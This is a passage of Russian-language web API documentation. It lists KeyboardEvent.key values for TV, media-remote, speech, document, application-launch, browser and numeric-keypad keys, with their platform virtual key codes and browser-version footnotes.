+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"TV" [1]Переключает в режим просмотра ТВ.KEYCODE_TV (170)
"TV3DMode"Включает и выключает режим 3D TV.KEYCODE_3D_MODE (206)
"TVAntennaCable"Переключение между антенным и кабельным входами.KEYCODE_TV_ANTENNA_CABLE (242)
"TVAudioDescription"Включает и выключает режим описания звука.KEYCODE_TV_AUDIO_DESCRIPTION (252)
"TVAudioDescriptionMixDown"Уменьшает громкость микширования аудиоописаний; уменьшает громкость аудиоописаний относительно звука программы.KEYCODE_TV_AUDIO_DESCRIPTION_MIX_DOWN (254)
"TVAudioDescriptionMixUp"Увеличивает громкость микширования аудиоописаний; увеличивает громкость аудиоописаний относительно звука программы.KEYCODE_TV_AUDIO_DESCRIPTION_MIX_UP (253)
"TVContentsMenu"Отображает или скрывает мультимедийное содержимое, доступное для воспроизведения (это может быть руководство по каналам, показывающее программы, транслируемые в данный момент, или список мультимедийных файлов для воспроизведения).KEYCODE_TV_CONTENTS_MENU (256)
"TVDataService"Отображает или скрывает сервисное меню данных телевизора.KEYCODE_TV_DATA_SERVICE (230)
"TVInput" [2]Переключает источник сигнала на внешнем телевизоре.KEYCODE_TV_INPUT (178)
"TVInputComponent1"Переключает на вход «Компонент 1».KEYCODE_TV_INPUT_COMPONENT_1 (249)
"TVInputComponent2"Переключает на вход «Компонент 2."KEYCODE_TV_INPUT_COMPONENT_2 (250)
"TVInputComposite1"Переключает на вход «Композитный 1».KEYCODE_TV_INPUT_COMPOSITE_1 (247)
"TVInputComposite2"Переключает на вход «Композитный 2."KEYCODE_TV_INPUT_COMPOSITE_2 (248)
"TVInputHDMI1"Переключает на вход «HDMI 1».KEYCODE_TV_INPUT_HDMI_1 (243)
"TVInputHDMI2"Переключает на вход "HDMI 2."KEYCODE_TV_INPUT_HDMI_2 (244)
"TVInputHDMI3"Переключает на вход "HDMI 3."KEYCODE_TV_INPUT_HDMI_3 (245)
"TVInputHDMI4"Переключает на вход "HDMI 4."KEYCODE_TV_INPUT_HDMI_4 (246)
"TVInputVGA1"Переключает на вход "VGA 1."KEYCODE_TV_INPUT_VGA_1 (251)
"TVMediaContext"Клавиша контекстного меню мультимедиа.KEYCODE_TV_MEDIA_CONTEXT_MENU (257)
"TVNetwork"Включение и выключение сетевого подключения телевизора.KEYCODE_TV_NETWORK (241)
"TVNumberEntry"Переведите телевизор в режим ввода номера.KEYCODE_TV_NUMBER_ENTRY (234)
"TVPower" [2]Кнопка питания устройства.KEYCODE_TV_POWER (177)
"TVRadioService"Кнопка радиоKEYCODE_TV_RADIO_SERVICE (232)
"TVSatellite"Кнопка спутникаKEYCODE_TV_SATELLITE (237)
"TVSatelliteBS"Broadcast Satellite button.KEYCODE_TV_SATELLITE_BS (238)
"TVSatelliteCS"Communication Satellite button.KEYCODE_TV_SATELLITE_CS (239)
"TVSatelliteToggle"Переключение между доступными спутниками.KEYCODE_TV_SATELLITE_SERVICE (240)
"TVTerrestrialAnalog"Выбирает услугу аналогового наземного телевидения (аналоговый кабельный или антенный прием).KEYCODE_TV_TERRESTRIAL_ANALOG (235)
"TVTerrestrialDigital"Выбирает услугу цифрового наземного телевидения (цифровой кабельный или антенный прием).KEYCODE_TV_TERRESTRIAL_DIGITAL (236)
"TVTimer"Кнопка программирования таймера.KEYCODE_TV_TIMER_PROGRAMMING (258)
+ +

[1] В Firefox добавлена надлежащая поддержка для клавиши "TV" в Firefox 37; до этого, эта клавиша генерировала значение "Live".

+ +

[2] Эти клавиши возвращали "Unidentified" до Firefox 37.

+ +

Клавиши медиа-контроллера

+ +

Поскольку современные пульты дистанционного управления для мультимедийных устройств часто включают кнопки, помимо базовых элементов управления, описанных в другом месте в этом документе, ключевые значения определены для широкого набора этих дополнительных кнопок.

+ +

Приведенные ниже значения частично получены из ряда технических характеристик бытовой электроники:

+ + + +
+

Заметка: Пульт дистанционного управления обычно содержит кнопки, значения которых уже определены где-то еще, например Мультимедийные клавиши или Клавиши управления звуком. Значения этих кнопок будут соответствовать тому, что задокументировано в этих таблицах.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"AVRInput" [3]Изменяет источник сигнала на внешнем аудио / видео ресивере (AVR).KEYCODE_AVR_INPUT (182)
"AVRPower" [3]Переключает питание внешнего блока AVR.KEYCODE_AVR_POWER (181)
"ColorF0Red" [3]Универсальная функциональная клавиша мультимедиа красного цвета. Она имеет индекс 0 среди цветных клавиш.VK_COLORED_KEY_0KEYCODE_PROG_RED (183)
"ColorF1Green" [3]Универсальная функциональная клавиша мультимедиа зелёного цвета. Она имеет индекс 1 среди цветных клавиш.VK_COLORED_KEY_1KEYCODE_PROG_GREEN (184)
"ColorF2Yellow" [3]Универсальная функциональная клавиша мультимедиа жёлтого цвета. Она имеет индекс 2 среди цветных клавиш.VK_COLORED_KEY_2KEYCODE_PROG_YELLOW (185)
"ColorF3Blue" [3]Универсальная функциональная клавиша мультимедиа синего цвет. Она имеет индекс 3 среди цветных клавиш.VK_COLORED_KEY_3KEYCODE_PROG_BLUE (186)
"ColorF4Grey"Универсальная функциональная клавиша мультимедиа серого цвета. Она имеет индекс 4 среди цветных клавиш.VK_COLORED_KEY_4KEYCODE_PROG_GREY
"ColorF5Brown"Универсальная функциональная клавиша мультимедиа коричневого цвета. Она имеет индекс 5 среди цветных клавиш.VK_COLORED_KEY_5KEYCODE_PROG_BROWN
"ClosedCaptionToggle"Включает и выключает скрытые субтитры.VK_CCKEYCODE_CAPTIONS (175)
"Dimmer"Регулирует яркость устройства, переключаясь между двумя уровнями яркости или переключаясь между несколькими уровнями яркости.VK_DIMMERGDK_KEY_BrightnessAdjust (0x1008FF3B)
"DisplaySwap"Циклически переключает источники видеоVK_DISPLAY_SWAP
"DVR"Переключает источник входного сигнала на цифровой видеорегистратор (DVR).KEYCODE_DVR (173)
"Exit"Кнопка «Выход» для выхода из текущего приложения или меню.VK_EXITQt::Key_Exit (0x0102000a)
"FavoriteClear0"Очищает первый слот списка избранного.VK_CLEAR_FAVORITE_0
"FavoriteClear1"Очищает второй слот списка избранного.VK_CLEAR_FAVORITE_1
"FavoriteClear2"Очищает третий слот списка избранного.VK_CLEAR_FAVORITE_2
"FavoriteClear3"Очищает четвертый слот списка избранного.VK_CLEAR_FAVORITE_3
"FavoriteRecall0"Выбирает (вызывает) программу или содержимое, хранящееся в первом слоте списка избранного.VK_RECALL_FAVORITE_0
"FavoriteRecall1"Выбирает (вызывает) программу или содержимое, хранящееся во втором слоте списка избранного.VK_RECALL_FAVORITE_1
"FavoriteRecall2"Выбирает (вызывает) программу или содержимое, хранящееся в третьем слоте списка избранного.VK_RECALL_FAVORITE_2
"FavoriteRecall3"Выбирает (вызывает) программу или содержимое, хранящееся в четвертом слоте списка избранного.VK_RECALL_FAVORITE_3
"FavoriteStore0"Сохраняет текущую программу или контент в первый слот списка избранного.VK_STORE_FAVORITE_0
"FavoriteStore1"Сохраняет текущую программу или контент во второй слот списка избранного.VK_STORE_FAVORITE_1
"FavoriteStore2"Сохраняет текущую программу или контент в третий слот списка избранного.VK_STORE_FAVORITE_2
"FavoriteStore3"Сохраняет текущую программу или контент в четвертый слот списка избранного.VK_STORE_FAVORITE_3
"Guide"Переключает отображение программы или содержимого, содержащего руководство.VK_GUIDEQt::Key_Guide (0x0100011A)KEYCODE_GUIDE (172)
"GuideNextDay"Если руководство отображается в данный момент, эта кнопка указывает руководству отобразить содержимое на следующий день.VK_NEXT_DAY
"GuidePreviousDay"Если руководство отображается в данный момент, эта кнопка указывает руководству отобразить содержимое предыдущего дня.VK_PREV_DAY
"Info"Переключает отображение информации о текущем выбранном содержимом, программе или медиа.VK_INFOQt::Key_Info (0x0100011B)KEYCODE_INFO (165)
"InstantReplay"Указывает устройству выполнить мгновенное перевоспроизведение (обычно это некоторая форма возврата на короткий промежуток времени с последующим воспроизведением, возможно, но обычно не в замедленном режиме).VK_INSTANT_REPLAY
"Link"Открывает содержимое, связанное с текущей программой, если это возможно и доступно.VK_LINK
"ListProgram"Список текущей программы.VK_LIST
"LiveContent"Переключает отображение списка доступного в данный момент live-содержимого или программ.VK_LIVE
"Lock"Блокирует и разблокирует текущее выбранное содержимое или программу.VK_LOCK
"MediaApps"Представляет список мультимедийных приложений, таких как программы просмотра фотографий, аудио- и видеоплееры, а также игры. [1]VK_APPS
"MediaAudioTrack"Клавиша звуковой дорожки.GDK_KEY_AudioCycleTrack (0x1008FF9B)
+ Qt::Key_AudioCycleTrack (0x01000106)		KEYCODE_MEDIA_AUDIO_TRACK (222)
"MediaLast"Возврат к последнему просмотренному содержимому, программе или другому медиафайлу.VK_LASTQt::Key_MediaLast (0x0100FFFF)KEYCODE_LAST_CHANNEL (229)
"MediaSkipBackward"Переход назад к предыдущему содержимому или программе.KEYCODE_MEDIA_SKIP_BACKWARD
"MediaSkipForward"Переход к следующему содержимому или программе.VK_SKIPKEYCODE_MEDIA_SKIP_FORWARD
"MediaStepBackward"Переход назад к предыдущему содержимому или программе.KEYCODE_MEDIA_STEP_BACKWARD
"MediaStepForward"Переход к следующему содержимому или программе.KEYCODE_MEDIA_SKIP_FORWARD
"MediaTopMenu"Кнопка верхнего меню. Открывает главное меню носителя (например, для диска DVD или Blu-Ray).Qt::Key_TopMenu (0x0100010A)KEYCODE_MEDIA_TOP_MENU
"NavigateIn"Переход в подменю или параметр.KEYCODE_NAVIGATE_IN
"NavigateNext"Переход к следующему элементу.KEYCODE_NAVIGATE_NEXT
"NavigateOut"Переход из текущего экрана или меню.KEYCODE_NAVIGATE_OUT
"NavigatePrevious"Переход к предыдущему элементу.KEYCODE_NAVIGATE_PREVIOUS
"NextFavoriteChannel"Циклически переходит на следующий канал в списке избранного.VK_NEXT_FAVORITE_CHANNEL
"NextUserProfile"Циклически переходит к следующему сохраненному профилю пользователя, если эта функция поддерживается и существует несколько профилей.VK_USER
"OnDemand"Открывает пользовательский интерфейс для выбора содержимого или программ по запросу для просмотра.VK_ON_DEMAND
"Pairing"Запускает процесс сопряжения пульта дистанционного управления с управляемым устройством.KEYCODE_PAIRING (225)
"PinPDown"Кнопка для перемещения изображения «картинка в картинке» вниз.VK_PINP_DOWN
"PinPMove"Кнопка для управления перемещением изображения «картинка в картинке».VK_PINP_MOVE
"PinPToggle"Включает и выключает отображение изображения в «картинка в картинке».VK_PINP_TOGGLE
"PinPUp"Кнопка для перемещения изображения «картинка в картинке» вверх.VK_PINP_UP
"PlaySpeedDown"Уменьшает скорость воспроизведения мультимедиа.VK_PLAY_SPEED_DOWN
"PlaySpeedReset"Возвращает нормальную скорость воспроизведения мультимедиа.VK_PLAY_SPEED_RESET
"PlaySpeedUp"Увеличивает скорость воспроизведения мультимедиа.VK_PLAY_SPEED_UP
"RandomToggle"Включает и выключает случайные медиафайлы (также известно как «режим случайного воспроизведения»).VK_RANDOM_TOGGLEGDK_KEY_AudioRandomPlay (0x1008FF99)
"RcLowBattery"Код, отправляемый при низком заряде батареи пульта ДУ. Это вообще не соответствует физической кнопке/клавише.VK_RC_LOW_BATTERY
"RecordSpeedNext"Циклически переключает доступные скорости записи на носитель.VK_RECORD_SPEED_NEXT
"RfBypass"Включает и выключает режим пропуска радиочастотного (RF) входа. В режиме пропуска РЧ входной сигнал передается непосредственно на выход РЧ без какой-либо обработки или фильтрации.VK_RF_BYPASS
"ScanChannelsToggle"Включает и выключает режим сканирования каналов. Это режим, который автоматически переключает каналы, пока пользователь не остановит сканирование.VK_SCAN_CHANNELS_TOGGLE
"ScreenModeNext"Циклически переключает доступные режимы отображения экрана.VK_SCREEN_MODE_NEXT
"Settings"Включает и выключает отображение экрана настроек устройства.VK_SETTINGSQt::Key_Settings (0x0100011C)KEYCODE_SETTINGS
"SplitScreenToggle"Включает и выключает режим разделения экрана.VK_SPLIT_SCREEN_TOGGLEGDK_KEY_SplitScreen (0x1008FF7D)
+ Qt::Key_SplitScreen (0x010000ED)
"STBInput" [3]Переключение между источниками сигнала на внешней приставке (STB).KEYCODE_STB_INPUT (180)
"STBPower" [3]Включает и выключает внешний STB.KEYCODE_STB_POWER (179)
"Subtitle"Включает и выключает отображение субтитров, если они доступны.VK_SUBTITLEGDK_KEY_Subtitle (0x1008FF9A)KEYCODE_CAPTIONS (175)
"Teletext"Включает и выключает отображение {{interwiki("wikipedia", "телетекст")}}а,если доступно.VK_TELETEXTKEYCODE_TV_TELETEXT (233)
"VideoModeNext" [3]Перебирает доступные видеорежимы.VK_VIDEO_MODE_NEXTGDK_KEY_Next_VMode (0x1008FE22)
"Wink"Заставляет устройство идентифицировать себя каким-либо образом, например, мигает светом, на короткое время меняет яркость световых индикаторов или издает звуковой сигнал.VK_WINK
"ZoomToggle" [2]Переключает между полноэкранным и масштабированным отображением содержимого или иным образом изменяет уровень увеличения.VK_ZOOM (0xFB)Qt::Key_Zoom (0x01020006)KEYCODE_TV_ZOOM_MODE (255)
+ +

[1] Не путайте клавишу медиа-контроллера VK_APPS с клавишей Windows VK_APPS, которая также известна как VK_CONTEXT_MENU. Эта клавиша возвращает значение "ContextMenu".

+ +

[2] Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранние определяли кнопку переключения масштаба как "Zoom". В Firefox 37 исправлено на "ZoomToggle".

+ +

[3] Эти клавиши возвращали "Unidentified" до Firefox 37.

+ +

Клавиши распознавания речи

+ +

Эти специальные мультимедийные клавиши используются для управления функциями распознавания речи.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"SpeechCorrectionList" [1]Представляет список возможных исправлений неверно определенного слова.APPCOMMAND_CORRECTION_LIST
"SpeechInputToggle" [2]Переключение между режимом диктовки и режимом команд/управления. Это позволяет механизму обработки речи знать, интерпретировать ли произносимые слова как вводимый текст или как команды.APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE
+ +

[1] В Windows команда APPCOMMAND_CORRECTION_LIST генерирует значение "Unidentified" в Firefox.

+ +

[2] В Windows команда APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE генерирует значение "Unidentified" в Firefox.

+ +

Клавиши документа

+ +

Эти клавиши управляют документами. В спецификации они включены в другие наборы клавиш(например, мультимедийные), но разумнее выделять их в собственную категорию.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"Close" [1]Закрывает текущий документ или сообщение. Не должен выходить из приложения.APPCOMMAND_CLOSEGDK_KEY_Close (0x1008FF56)
+ Qt::Key_Close (0x010000CE)		KEYCODE_MEDIA_CLOSE (128)
"New" [1]Создает новый документ или сообщение.APPCOMMAND_NEWGDK_KEY_New (0x1008FF68)
+ Qt::Key_New (0x01000120)
"Open" [1]Открывает существующий документ или сообщение.APPCOMMAND_OPENGDK_KEY_Open (0x1008FF6B)
+ Qt::Key_Open (0x01000121)
"Print"Печатает текущий документ или сообщение.APPCOMMAND_PRINTGDK_KEY_Print (0xFF61)
+ Qt::Print (0x01000009)
"Save" [1]Сохраняет текущий документ или сообщение.APPCOMMAND_SAVEGDK_KEY_Save (0x1008FF77)
+ Qt::Key_Save (0x010000EA)
"SpellCheck" [1]Запускает проверку орфографии в текущем документе.APPCOMMAND_SPELL_CHECKGDK_KEY_Spell (0x1008FF7C)
+ Qt::Key_Spell (0x010000EC)
"MailForward" [1]Открывает пользовательский интерфейс для пересылки сообщения.APPCOMMAND_FORWARD_MAILGDK_KEY_MailForward (0x1008FF90)
+ Qt::Key_MailForward (0x010000FB)
"MailReply" [1]Открывает пользовательский интерфейс для ответа на сообщение.APPCOMMAND_REPLY_TO_MAILGDK_KEY_Reply (0x1008FF72)
+ Qt::Key_Reply (0x010000E5)
"MailSend" [1]Отправляет текущее сообщение.APPCOMMAND_SEND_MAILGDK_KEY_Send (0x1008FF7B)
+ Qt::Key_Send (0x010000EB)
+ +

[1] До Firefox 37, эта клавиша генерировала значение "Unidentified".

+ +

Клавиши приложений

+ +

На некоторых клавиатурах есть специальные клавиши для запуска определенных распространенных приложений или переключения на них. Значения клавиш для них перечислены здесь.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"LaunchCalculator" [5]Клавиша запуска калькулятора Calculator, часто помечается значком. Часто используется в качестве общей клавиши запуска приложений (APPCOMMAND_LAUNCH_APP2).APPCOMMAND_LAUNCH_APP2GDK_KEY_Calculator (0x1008FF1D)
+ Qt::Key_Calculator (0x010000CB)		KEYCODE_CALCULATOR (210)
"LaunchCalendar" [5]Клавиша календаря Calendar. Часто помечается значком.GDK_KEY_Calendar (0x1008FF20)
+ Qt::Key_Calendar (0x010000E4)		KEYCODE_CALENDAR (208)
"LaunchContacts"Клавиша "Контакты" Contacts.KEYCODE_CONTACTS (207)
"LaunchMail"Клавиша электронной почты Mail. Часто помечается значком.VK_LAUNCH_MAIL (0xB4)
+ APPCOMMAND_LAUNCH_MAIL		GDK_KEY_Mail (0x1008FF19)
+ Qt::Key_LaunchMail (0x010000A0)		KEYCODE_ENVELOPE (65)
"LaunchMediaPlayer" [1]Клавиша медиаплеера Media Player. Часто помечается значком.VK_LAUNCH_MEDIA_SELECT (0xB5)
+ APPCOMMAND_LAUNCH_MEDIA_SELECT		GDK_KEY_CD (0x1008FF53)
+ GDK_KEY_Video (0x1008FF87)
+ GDK_KEY_AudioMedia (0x1008FF32)
+ Qt::Key_LaunchMedia (0x010000A1)
"LaunchMusicPlayer" [5]Клавиша музыкального проигрывателя Music Player. Часто помечается значком.GDK_KEY_Music (0x1008FF92)
+ Qt::Key_Music (0x010000FD)		KEYCODE_MUSIC (209)
"LaunchMyComputer" [5]Клавиша "Мой компьютер" My Computer на клавиатурах Windows. Часто используется в качестве общей клавиши запуска приложений (APPCOMMAND_LAUNCH_APP1).APPCOMMAND_LAUNCH_APP1GDK_KEY_MyComputer (0x1008FF33)
+ GDK_KEY_Explorer (0x1008FF5D)
"LaunchPhone"Клавиша телефонии Phone. Открывает приложение для набора номера телефона (если таковое имеется).GDK_KEY_Phone (0x1008FF6E)
+ Qt::Key_Phone (0x010000E3)
"LaunchScreenSaver" [5]Клавиша заставки Screen Saver.GDK_KEY_ScreenSaver (0x1008FF2D)
+ Qt::Key_ScreenSaver (0x010000BA)
"LaunchSpreadsheet" [4]Клавиша табличного процессора Spreadsheet. Эта клавиша часто помечается значком.GDK_KEY_Excel (0x1008FF5C)
+ Qt::Key_Excel (0x010000D4)
"LaunchWebBrowser" [4]Клавиша веб-браузера Web Browser. Эта клавиша часто помечается значком.GDK_KEY_WWW (0x1008FF2E)
+ Qt::Key_WWW (0x010000BB)		KEYCODE_EXPLORER (64)
"LaunchWebCam" [5]Клавиша WebCam. Открывает приложение веб-камеры.GDK_KEY_WebCam (0x1008FF8F)
+ Qt::Key_WebCam (0x010000FA)
"LaunchWordProcessor" [5]Клавиша текстового процессора Word Processor. Это может быть значок конкретного приложения текстового процессора или общий значок документа.GDK_KEY_Word (0x1008FF89)
+ Qt::Key_Word (0x010000F4)
"LaunchApplication1" [2]1-я общая кнопка запуска приложений.VK_LAUNCH_APP1 (0xB6)
+ APPCOMMAND_LAUNCH_APP1		GDK_KEY_Launch0 (0x1008FF40)
+ Qt::Key_Launch0 (0x010000A2)
"LaunchApplication2" [3]2-я общая кнопка запуска приложений.VK_LAUNCH_APP2 (0xB7)
+ APPCOMMAND_LAUNCH_APP2		GDK_KEY_Launch1 (0x1008FF41)
+ Qt::Key_Launch1 (0x010000A3)
"LaunchApplication3"3-я общая кнопка запуска приложений.GDK_KEY_Launch2 (0x1008FF42)
+ Qt::Key_Launch2 (0x010000A4)
"LaunchApplication4"4-я общая кнопка запуска приложений.GDK_KEY_Launch3 (0x1008FF43)
+ Qt::Key_Launch3 (0x010000A5)
"LaunchApplication5"5-я общая кнопка запуска приложений.GDK_KEY_Launch4 (0x1008FF44)
+ Qt::Key_Launch4 (0x010000A6)
"LaunchApplication6"6-я общая кнопка запуска приложений.GDK_KEY_Launch5 (0x1008FF45)
+ Qt::Key_Launch5 (0x010000A7)
"LaunchApplication7"7-я общая кнопка запуска приложений.GDK_KEY_Launch6 (0x1008FF46)
+ Qt::Key_Launch6 (0x010000A8)
"LaunchApplication8"8-я общая кнопка запуска приложений.GDK_KEY_Launch7 (0x1008FF47)
+ Qt::Key_Launch7 (0x010000A9)
"LaunchApplication9"9-я общая кнопка запуска приложений.GDK_KEY_Launch8 (0x1008FF48)
+ Qt::Key_Launch8 (0x010000AA)
"LaunchApplication10"10-я общая кнопка запуска приложений.GDK_KEY_Launch9 (0x1008FF49)
+ Qt::Key_Launch9 (0x010000AB)
"LaunchApplication11"11-я общая кнопка запуска приложений.GDK_KEY_LaunchA (0x1008FF4A)
+ Qt::Key_LaunchA (0x010000AC)
"LaunchApplication12"12-я общая кнопка запуска приложений.GDK_KEY_LaunchB (0x1008FF4B)
+ Qt::Key_LaunchB (0x010000AD)
"LaunchApplication13"13-я общая кнопка запуска приложений.GDK_KEY_LaunchC (0x1008FF4C)
+ Qt::Key_LaunchC (0x010000AE)
"LaunchApplication14"14-я общая кнопка запуска приложений.GDK_KEY_LaunchD (0x1008FF4D)
+ Qt::Key_LaunchD (0x010000AF)
"LaunchApplication15"15-я общая кнопка запуска приложений.GDK_KEY_LaunchE (0x1008FF4E)
+ Qt::Key_LaunchE (0x010000B0)
"LaunchApplication16"16-я общая кнопка запуска приложений.GDK_KEY_LaunchF (0x1008FF4F)
+ Qt::Key_LaunchF (0x010000B1)
+ +

[1] Internet Explorer, Edge, и Firefox (36 и ранее) используют "SelectMedia" вместо "LaunchMediaPlayer". Firefox 37 и Firefox 48 используют "MediaSelect". Firefox 49 был обновлен в соответствии с последней спецификацией и теперь возвращает "LaunchMediaPlayer".

+ +

[2] Google Chrome 57 и ранние возращают "LaunchMyComputer" вместо "LaunchApplication1". Смотри Chrome Bug 612743 для дополнительной информации.

+ +

[3] Google Chrome 57 и ранние возвращают "LaunchCalculator" вместо "LaunchApplication2". Смотри Chrome Bug 612743 для дополнительной информации.

+ +

[4] До Firefox 37, Firefox возвращал the key code "LaunchApplication1" вместо "LaunchWebBrowser"для клавиши Веб-браузера.

+ +

[5] Firefox ввёл поддержку этой клавиши в Firefox 37. До этого, эта клавиша возвращала значение "Unidentified".

+ +

Клавиши управления браузером

+ +

На некоторых клавиатурах есть специальные клавиши для управления веб-браузерами. Это следующие клавиши.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"BrowserBack"Переход к предыдущему содержимому или странице в истории текущего веб-представления.VK_BROWSER_BACK (0xA6)
+ APPCOMMAND_BROWSER_BACKWARD		GDK_KEY_Back (0x1008FF26)
+ Qt::Key_Back (0x01000061)		KEYCODE_BACK (4)
"BrowserFavorites" [1]Открывает список закладок/избранного пользователя.VK_BROWSER_FAVORITES (0xAB)
+ APPCOMMAND_BROWSER_FAVORITES		GDK_KEY_Favorites (0x1008FF30)
+ GDK_KEY_MySites (0x1008FF67)
+ Qt::Favorites (0x01000091)		KEYCODE_BOOKMARK (174)
"BrowserForward"Переход к следующему содержимому или странице в истории текущего веб-представления.VK_BROWSER_FORWARD (0xA7)
+ APPCOMMAND_BROWSER_FORWARD		GDK_KEY_Forward (0x1008FF27)
+ Qt::Key_Forward (0x01000062)		KEYCODE_FORWARD (125)
"BrowserHome"Переход к домашней странице, установленной пользователем.VK_BROWSER_HOME (0xAC)
+ APPCOMMAND_BROWSER_HOME		GDK_KEY_HomePage (0x1008FF18)
+ Qt::Key_HomePage (0x01000090)		KEYCODE_HOME (3)
"BrowserRefresh"Обновление текущей страницы или содержимого.VK_BROWSER_REFRESH (0xA8)
+ APPCOMMAND_BROWSER_REFRESH		GDK_KEY_Refresh (0x1008FF29)
+ GDK_KEY_Reload (0x1008FF73)
"BrowserSearch"Активирует предпочтительную поисковую систему пользователя или интерфейс поиска в его браузере.VK_BROWSER_SEARCH (0xAA)
+ APPCOMMAND_BROWSER_SEARCH		GDK_KEY_Search (0x1008FF1B)
+ Qt::Key_Search (0x01000092)		KEYCODE_SEARCH (84)
"BrowserStop"Останавливает загрузку текущего веб-представления или содержимого.VK_BROWSER_STOP (0xA9)
+ APPCOMMAND_BROWSER_STOP		GDK_KEY_Stop (0x1008FF28)
+ Qt::Key_Search (0x01000063)
+ +

[1] До Firefox 37, эта клавиша возвращала значение "Unidentified".

+ +

Клавиши цифрового блока

+ +

Эти клавиши находятся на цифровой панели клавиатуры. Однако не все они присутствуют на каждой клавиатуре. Хотя типичные цифровые панели имеют цифровые клавиши от 0 до 9 (кодируются как "0" - "9"), некоторые мультимедийные клавиатуры включают дополнительные цифровые клавиши для более высоких чисел.

+ +
+

Клавиша 10, если она присутствует, генерирует события со значением ключа "0".

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"Decimal" [1] {{obsolete_inline}} +

Клавиша десятичной точки (обычно . или , в зависимости от региона).

+ +

В новых браузерах это значение должно быть просто символом, сгенерированным клавишей десятичной точки (одним из этих двух символов). [1]

+ 		VK_DECIMAL (0x6E)kVK_ANSI_KeypadDecimal (0x41)GDK_KEY_KP_Decimal (0xFFAE)
+  		KEYCODE_NUMPAD_DOT (158)
"Key11"Клавиша 11 встречается на некоторых цифровых мультимедиа клавиатурах.
"Key12"Клавиша 12 встречается на некоторых цифровых мультимедиа клавиатурах..
"Multiply" [1] {{obsolete_inline}}Клавиша умножения на цифровой панели, *.VK_MULTIPLY (0x6A)kVK_ANSI_KeypadMultiply (0x43)GDK_KEY_KP_Multiply (0xFFAA)
+ Qt::Key_Multiply (0x0D7)		KEYCODE_NUMPAD_MULTIPLY (155)
"Add" [1] {{obsolete_inline}}Клавиша сложения на цифровой панели, +.VK_ADD (0x6B)kVK_ANSI_KeypadPlus (0x45)GDK_KEY_KP_Add (0xFFAB)KEYCODE_NUMPAD_ADD (157)
"Clear"Клавиша очистки на цифровой панели, Clear.kVK_ANSI_KeypadClear (0x47)GDK_KEY_Clear (0xFF0B)
+ Qt::Key_Clear (0x0100000B)		KEYCODE_CLEAR (28)
"Divide" [1] {{obsolete_inline}}Клавиша деления на цифровой панели, /.VK_DIVIDE (0x6F)kVK_ANSI_KeypadDivide (0x4B)GDK_KEY_KP_Divide (0xFFAF)
+ Qt::Key_Slash (0x2F)		KEYCODE_NUMPAD_DIVIDE (154)
"Subtract" [1] {{obsolete_inline}}Клавиша вычитания на цифровой панели, -.VK_SUBTRACT (0x6D)kVK_ANSI_KeypadMinus (0x4E)GDK_KEY_KP_Subtract (0xFFAD)KEYCODE_NUMPAD_SUBTRACT (156)
"Separator" [1] +

Символ разделителя позиций на цифровой клавиатуре.

+ +

(В США это запятая, но в других странах это часто точка.)

+ 		VK_SEPARATOR (0x6C)kVK_JIS_KeypadComma (0x5F)GDK_KEY_KP_Separator (0xFFAC)
+  		KEYCODE_NUMPAD_COMMA (159)
